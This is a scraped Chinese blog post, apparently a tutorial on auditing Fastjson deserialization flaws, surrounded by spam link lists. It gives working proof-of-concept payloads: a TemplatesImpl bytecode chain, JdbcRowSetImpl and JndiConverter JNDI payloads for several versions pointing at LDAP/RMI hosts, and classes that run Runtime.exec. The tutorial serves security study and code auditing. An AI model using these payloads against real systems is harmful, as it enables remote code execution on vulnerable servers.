当前位置: 首页 > news >正文

两学一做微网站交流中铁建设团门户网登录入口

两学一做微网站交流,中铁建设团门户网登录入口,mvc6 网站开发实战,欧米茄官方手表价格一、fastjson反序列化审计思路 Fastjson是Alibaba开发的高性能JSON库,用于将数据在JSON和Java对象之间互相转换,不需要添加额外的依赖,能够直接跑在JDK上。Fastjson是自己实现的一套序列化和反序列化机制,不是用Java原生的序列化和…

一、fastjson反序列化审计思路
Fastjson是Alibaba开发的高性能JSON库,用于将数据在JSON和Java对象之间互相转换,不需要添加额外的依赖,能够直接跑在JDK上。Fastjson是自己实现的一套序列化和反序列化机制,不是用Java原生的序列化和反序列化机制。通过Fastjson反序列化漏洞,攻击者可以传入一个恶意构造的JSON内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行。如果构造函数、get/set方法、static静态代码块存在可利用的入口,则可能导致反序列化漏洞的存在。

二、fastjson反序列化本地代码验证
1.构造函数、get/set方法(需要public权限)、static静态代码块存在可利用的入口,则可能导致反序列化漏洞的存在。

study1
import java.io.IOException;
import java.io.Serializable;public class Study1 implements Serializable {private String name;private String baby;static{try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}}public    Study1(){try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}}public String getName(){try {Runtime.getRuntime().exec("calc");return name;} catch (IOException e) {throw new RuntimeException(e);}}public void setBaby(String baby){try {Runtime.getRuntime().exec("calc");this.baby=baby;} catch (IOException e) {throw new RuntimeException(e);}}
}入口执行
import com.alibaba.fastjson.JSON;
import org.junit.Test;public class FastJsonTest {@Testpublic void fastjson(){String jsonString = "{\"@type\":\"Study1\",\"baby\":\"ddds\"}";Object obj = JSON.parseObject(jsonString);System.out.println(obj);System.out.println(obj.getClass());}
}

在这里插入图片描述
2.基于Templatelmpl
影响范围: FastJson 1.2.22-1.2.24版本
限制: 需要设置Feature.SupportNonPublicField属性才能成功触发。
{“@type”:“com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl”,“_bytecodes”:[“yv66vgAAADsAKAo…”],‘_name’:‘a.b’,‘_tfactory’:{},“_outputProperties”:{},“_version”:“1.0”,“allowedProtocols”:“all”}

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import org.apache.commons.codec.binary.Base64;
import org.junit.Test;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.io.IOUtils;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;public class Templatelmpl {private static String readClass(String classFilePath) {ByteArrayOutputStream bos = new ByteArrayOutputStream();try {IOUtils.copy(new FileInputStream(new File(classFilePath)), bos);} catch (IOException e) {e.printStackTrace();}return Base64.encodeBase64String(bos.toByteArray());}@Testpublic void Temp(){String classFilePath = "src\\test\\java\\poc.class";String evilCode = readClass(classFilePath);String text1 = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{},\"_outputProperties\":{ }," +",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}";System.out.println(text1);Object obj = JSON.parseObject(text1, Object.class, Feature.SupportNonPublicField);}
}poc.java---poc.class
import java.io.IOException;
import java.io.Serializable;public class poc implements Serializable {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}}public poc() {try {Runtime.getRuntime().exec("calc");} catch (IOException e) {throw new RuntimeException(e);}}public static void main(String[] args) throws IOException {poc p = new poc();}
}

三、常见历史fastjson反序列化漏洞
基于JdbcRowSetImpl(可以远程利用,黑盒也能测)
由于是利用JNDI注入漏洞来触发的,因此主要的限制因素是JDK版本。RMI利用的JDK版本<=6u141、7u131、8u121,LDAP利用的JDK版本<=6u211、 7u201、8u191。
1.2.22-1.2.24
String payload = “{”@type":“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“ldap://192.168.0.8:1099/poc”, “autoCommit”:true}“;
1.2.48
String payload = “{“name”:{”@type”:“java.lang.Class”,“val”:“com.sun.rowset.JdbcRowSetImpl”},“x”:{“@type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“ldap://127.0.0.1:1389/#EvilCalc1”,“autoCommit”:true}}}“;
1.2.62
String text1 = “{”@type”:“org.apache.xbean.propertyeditor.JndiConverter”,“AsText”:“rmi://127.0.0.1:1099/exploit”}";

poc
import com.alibaba.fastjson.JSON;
public class JdbcRowSetImpl {public static void main(String[] args) {String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1099/poc\", \"autoCommit\":true}";JSON.parse(payload);}
}

开启ldap和web服务
在这里插入图片描述
在这里插入图片描述在这里插入图片描述
补充:Fastjson1.2.25版本新增了checkAutoType方法,设置了autotype开关,对@type字段进行限制。
四、实战中怎么去做fastjson的代码审计

审计0day:
查看pom文件确认使用fastjson组件(非maven项目去找jar,往往放在一个lib,比如webapp/web-inf/lib)-------查找反序列化函数------构造利用点如构造函数、get/set方法(需要public权限)、static静态代码块------利用验证

审计历史漏洞:
查看pom文件(非maven项目去找jar,往往放在一个lib,比如webapp/web-inf/lib)确认使用fastson组件------确认使用fastjon组件版本-------寻找反序列化构造点------poc调用验证

http://www.dtcms.com/a/472416.html

相关文章:

  • 做网站封面要怎么做做古风头像的网站
  • 济南网站技术响应式手机网站
  • 网站建设后台编程wordpress评论表情
  • w3c网站代码标准规范wordpress安装 windows
  • 网站页面优化公告wordpress 在线知识库
  • 网站管理员权限家装设计培训班哪里有
  • 中山快速做网站公司移动互联网开发招人
  • 东莞网站设计公司哪家好空间设计网站推荐
  • RabbitMQ核心机制解析
  • 网站推广的方法和技巧专门做spa的网站
  • 在家做兼职的正规网站平台郑州博大泌尿外科医院
  • 品牌网站建设 结构公司网站建立教程
  • 玩具网站 下载wordpress 链接小图标
  • 风景区介绍网站建设市场分析网站建设汇编资料
  • ppt模板 网站开发设计师必备的国际设计网站
  • 行业外贸网站建设微网站免费模板
  • 咖啡店网站模板收集链接 做网站
  • 网站开发流程6个阶段江北seo综合优化外包
  • php企业网站模板下载微信公众号优惠和网站绑定怎么做
  • 中山 网站建设一条龙服务性男女做视频网站
  • 做微信大转盘有哪些网站官网网站建设需求文档
  • 沈阳市建设工程质量检测中心网站石景山附近的保安公司
  • 某物流网站后台源码品牌营销型网站作用
  • 做爰全过程免费狐狸网站云南省住房建设厅网站
  • 可以做翻译任务的网站网站架构分析
  • 学校做好网站建设目的北京平台网站建设
  • 长春企业做网站杭州上城区抖音seo如何
  • 河北省建设网站锁安装什么驱动360怎么变成建设银行首选网站
  • 做网站开发有前途吗网络推广理实一体化软件
  • 北京 网站备案专业网页制作流程